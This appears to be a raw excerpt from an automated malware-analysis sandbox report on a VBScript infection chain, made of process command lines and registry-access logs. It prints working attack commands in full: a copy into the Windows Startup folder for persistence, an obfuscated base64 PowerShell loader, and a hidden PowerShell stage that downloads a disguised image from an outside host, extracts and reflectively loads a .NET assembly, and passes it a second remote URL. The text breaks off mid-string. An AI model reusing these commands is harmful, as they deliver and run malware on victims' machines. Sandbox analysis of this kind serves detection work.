cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')"" (UID: 00000000-00001844) Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 5" (UID: 00000000-00002120) Spawned process "cmd.exe" with commandline "/c "powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')"" (UID: 00000000-00001204) Spawned process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')" (UID: 00000000-00002164) Spawned process "powershell.exe" with commandline "-command $Codigo = 'J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5VQBy\u2042\u21f5Gw\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5JwBo\u2042\u21f5HQ\u2042\u21f5d\u2042\u21f5Bw\u2042\u21f5HM\u2042\u21f5Og\u2042\u21f5v\u2042\u21f5C8\u2042\u21f5dQBw\u2042\u21f5Gw\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBu\u2042\u21f5HM\u2042\u21f5LgBj\u2042\u21f5G8\u2042\u21f5bQ\u2042\u21f5u\u2042\u21f5GI\u2042\u21f5cg\u2042\u21f5v\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBz\u2042\u21f5C8\u2042\u21f5M\u2042\u21f5\u2042\u21f5w\u2042\u21f5DQ\u2042\u21f5Lw\u2042\u21f51\u2042\u21f5DY\u2042\u21f5Mw\u2042\u21f5v\u2042\u21f5DY\u2042\u21f5Mg\u2042\u21f5x\u2042\u21f5C8\u2042\u21f5bwBy\u2042\u21f5Gk\u2042\u21f5ZwBp\u2042\u21f5G4\u2042\u21f5YQBs\u2042\u21f5C8\u2042\u21f5dQBu\u2042\u21f5Gk\u2042\u21f5dgBl\u2042\u21f5HI\u2042\u21f5cwBv\u2042\u21f5F8\u2042\u21f5dgBi\u2042\u21f5HM\u2042\u21f5LgBq\u2042\u21f5H\u2042\u21f5\u2042\u21f5ZQBn\u2042\u21f5D8\u2042\u21f5MQ\u2042\u21f52\u2042\u21f5Dk\u2042\u21f5M\u2042\u21f5\u2042\u21f55\u2042\u21f5DM\u2042\u21f5MQ\u2042\u21f54\u2042\u21f5DU\u2042\u21f5NQ\u2042\u21f5n\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5B3\u2042\u21f5GU\u2042\u21f5YgBD\u2042\u21f5Gw\u2042\u21f5aQBl\u2042\u21f5G4\u2042\u21f5d\u2042\u21f5\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5BO\u2042\u21f5GU\u2042\u21f5dw\u2042\u21f5t\u2042\u21f5E8\u2042\u21f5YgBq\u2042\u21f5GU\u2042\u21f5YwB0\u2042\u21f5C\u2042\u21f5\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBO\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5Fc\u2042\u21f5ZQBi\u2042\u21f5EM\u2042\u21f5b\u2042\u21f5Bp\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5dwBl\u2042\u21f5GI\u2042\u21f5QwBs\u2042\u21f5Gk\u2042\u21f5ZQBu\u2042\u21f5HQ\u2042\u21f5LgBE\u2042\u21f5G8\u2042\u21f5dwBu\u2042\u21f5Gw\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5R\u2042\u21f5Bh\u2042\u21f5HQ\u2042\u21f5YQ\u2042\u21f5o\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5FU\u2042\u21f5cgBs\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBU\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5B0\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBU\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5B0\u2042\u21f5C4\u2042\u21f5RQBu\u2042\u21f5GM\u2042\u21f5bwBk\u2042\u21f5Gk\u2042\u21f5bgBn\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5FU\u2042\u21f5V\u2042\u21f5BG\u2042\u21f5Dg\u2042\u21f5LgBH\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5BT\u2042\u21f5HQ\u2042\u21f5cgBp\u2042\u21f5G4\u2042\u21f5Zw\u2042\u21f5o\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5EI\u2042\u21f5eQB0\u2042\u21f5GU\u2042\u21f5cw\u2042\u21f5p\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5n\u2042\u21f5Dw\u2042\u21f5P\u2042\u21f5BC\u2042\u21f5EE\u2042\u21f5UwBF\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5Bf\u2042\u21f5FM\u2042\u21f5V\u2042\u21f5BB\u2042\u21f5FI\u2042\u21f5V\u2042\u21f5\u2042\u21f5+\u2042\u21f5D4\u2042\u21f5Jw\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5ZQBu\u2042\u21f5GQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5n\u2042\u21f5Dw\u2042\u21f5P\u2042\u21f5BC\u2042\u21f5EE\u2042\u21f5UwBF\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5Bf\u2042\u21f5EU\u2042\u21f5TgBE\u2042\u21f5D4\u2042\u21f5Pg\u2042\u21f5n\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5FQ\u2042\u21f5ZQB4\u2042\u21f5HQ\u2042\u21f5LgBJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5TwBm\u2042\u21f5Cg\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5p\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bl\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5BJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5V\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5BP\u2042\u21f5GY\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5EY\u2042\u21f5b\u2042\u21f5Bh\u2042\u21f5Gc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5cwB0\u2042\u21f5GE\u2042\u21f5cgB0\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5ZwBl\u2042\u21f5C\u2042\u21f5\u2042\u21f5M\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5ZwB0\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5C\u2042\u21f5\u2042\u21f5Kw\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5u\u2042\u21f5Ew\u2042\u21f5ZQBu\u2042\u21f5Gc\u2042\u21f5d\u2042\u21f5Bo\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bi\u2042\u21f5GE\u2042\u21f5cwBl\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5BM\u2042\u21f5GU\u2042\u21f5bgBn\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bh\u2042\u21f5HI\u2042\u21f5d\u2042\u21f5BJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5EM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5V\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5FM\u2042\u21f5dQBi\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5By\u2042\u21f5Gk\u2042\u21f5bgBn\u2042\u21f5Cg\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5Cw\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5Ew\u2042\u21f5ZQBu\u2042\u21f5Gc\u2042\u21f5d\u2042\u21f5Bo\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5GM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBD\u2042\u21f5G8\u2042\u21f5bgB2\u2042\u21f5GU\u2042\u21f5cgB0\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5EY\u2042\u21f5cgBv\u2042\u21f5G0\u2042\u21f5QgBh\u2042\u21f5HM\u2042\u21f5ZQ\u2042\u21f52\u2042\u21f5DQ\u2042\u21f5UwB0\u2042\u21f5HI\u2042\u21f5aQBu\u2042\u21f5Gc\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5EM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5b\u2042\u21f5Bv\u2042\u21f5GE\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5GQ\u2042\u21f5QQBz\u2042\u21f5HM\u2042\u21f5ZQBt\u2042\u21f5GI\u2042\u21f5b\u2042\u21f5B5\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBS\u2042\u21f5GU\u2042\u21f5ZgBs\u2042\u21f5GU\u2042\u21f5YwB0\u2042\u21f5Gk\u2042\u21f5bwBu\u2042\u21f5C4\u2042\u21f5QQBz\u2042\u21f5HM\u2042\u21f5ZQBt\u2042\u21f5GI\u2042\u21f5b\u2042\u21f5B5\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5Ew\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5HQ\u2042\u21f5eQBw\u2042\u21f5GU\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bs\u2042\u21f5G8\u2042\u21f5YQBk\u2042\u21f5GU\u2042\u21f5Z\u2042\u21f5BB\u2042\u21f5HM\u2042\u21f5cwBl\u2042\u21f5G0\u2042\u21f5YgBs\u2042\u21f5Hk\u2042\u21f5LgBH\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5BU\u2042\u21f5Hk\u2042\u21f5c\u2042\u21f5Bl\u2042\u21f5Cg\u2042\u21f5JwBG\u2042\u21f5Gk\u2042\u21f5YgBl\u2042\u21f5HI\u2042\u21f5LgBI\u2042\u21f5G8\u2042\u21f5bQBl\u2042\u21f5Cc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5bQBl\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5Bv\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5B0\u2042\u21f5Hk\u2042\u21f5c\u2042\u21f5Bl\u2042\u21f5C4\u2042\u21f5RwBl\u2042\u21f5HQ\u2042\u21f5TQBl\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5Bv\u2042\u21f5GQ\u2042\u21f5K\u2042\u21f5\u2042\u21f5n\u2042\u21f5FY\u2042\u21f5QQBJ\u2042\u21f5Cc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5YQBy\u2042\u21f5Gc\u2042\u21f5dQBt\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5HM\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5L\u2042\u21f5\u2042\u21f5o\u2042\u21f5Cc\u2042\u21f5d\u2042\u21f5B4\u2042\u21f5HQ\u2042\u21f5Lg\u2042\u21f5y\u2042\u21f5DM\u2042\u21f5N\u2042\u21f5Bk\u2042\u21f5GU\u2042\u21f5LwBs\u2042\u21f5HQ\u2042\u21f5Lw\u2042\u21f53\u2042\u21f5DY\u2042\u21f5MQ\u2042\u21f5u\u2042\u21f5DE\u2042\u21f5Ng\u2042\u21f5x\u2042\u21f5C4\u2042\u21f5Ng\u2042\u21f51\u2042\u21f5DE\u2042\u21f5Lg\u2042\u21f50\u2042\u21f5Dk\u2042\u21f5Lw\u2042\u21f5v\u2042\u21f5Do\u2042\u21f5c\u2042\u21f5B0\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5\u2042\u21f5n\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5G0\u2042\u21f5ZQB0\u2042\u21f5Gg\u2042\u21f5bwBk\u2042\u21f5C4\u2042\u21f5SQBu\u2042\u21f5HY\u2042\u21f5bwBr\u2042\u21f5GU\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5G4\u2042\u21f5dQBs\u2042\u21f5Gw\u2042\u21f5L\u2042\u21f5\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5YQBy\u2042\u21f5Gc\u2042\u21f5dQBt\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5HM\u2042\u21f5KQ\u2042\u21f5=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('\u2042\u21f5','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00001544) Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.234de/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002724)35:Ta2d,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGHEAPFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "")36:Td0e,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{031E4825-7B94-4DC3-B131-E946B44C8DD5}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{04731B67-D933-450A-90E6-4ACD2E9408FE}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{11016101-E366-4D22-BC06-4ADA335C892B}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\INPROCSERVER32"; Key: "LOADWITHOUTCOM"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\EUPP PROTECTED - IT IS A VIOLATION OF WINDOWS POLICY TO MODIFY. SEE AKA.MS/BROWSERPOLICY"; Key: "FIRSTRUNCOMPLETE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{E47F4F44-D863-11E7-9D8F-806E6F6E6963}"; Key: "GENERATION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\KINDMAP"; Key: ".EXE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE"; Key: "ISSHORTCUT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND"; Key: "DELEGATEEXECUTE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.ADE"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.ADP"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.ASP"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.BAS"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.BAT"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.CER"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.CHM"; Key: ""; Value: "")37:T36bd,Process "powershell.exe" with commandline "-command $Codigo = 'J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5VQBy\u2042\u21f5Gw\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5JwBo\u2042\u21f5HQ\u2042\u21f5d\u2042\u21f5Bw\u2042\u21f5HM\u2042\u21f5Og\u2042\u21f5v\u2042\u21f5C8\u2042\u21f5dQBw\u2042\u21f5Gw\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBu\u2042\u21f5HM\u2042\u21f5LgBj\u2042\u21f5G8\u2042\u21f5bQ\u2042\u21f5u\u2042\u21f5GI\u2042\u21f5cg\u2042\u21f5v\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBz\u2042\u21f5C8\u2042\u21f5M\u2042\u21f5\u2042\u21f5w\u2042\u21f5DQ\u2042\u21f5Lw\u2042\u21f51\u2042\u21f5DY\u2042\u21f5Mw\u2042\u21f5v\u2042\u21f5DY\u2042\u21f5Mg\u2042\u21f5x\u2042\u21f5C8\u2042\u21f5bwBy\u2042\u21f5Gk\u2042\u21f5ZwBp\u2042\u21f5G4\u2042\u21f5YQBs\u2042\u21f5C8\u2042\u21f5dQBu\u2042\u21f5Gk\u2042\u21f5dgBl\u2042\u21f5HI\u2042\u21f5cwBv\u2042\u21f5F8\u2042\u21f5dgBi\u2042\u21f5HM\u2042\u21f5LgBq\u2042\u21f5H\u2042\u21f5\u2042\u21f5ZQBn\u2042\u21f5D8\u2042\u21f5MQ\u2042\u21f52\u2042\u21f5Dk\u2042\u21f5M\u2042\u21f5\u2042\u21f55\u2042\u21f5DM\u2042\u21f5MQ\u2042\u21f54\u2042\u21f5DU\u2042\u21f5NQ\u20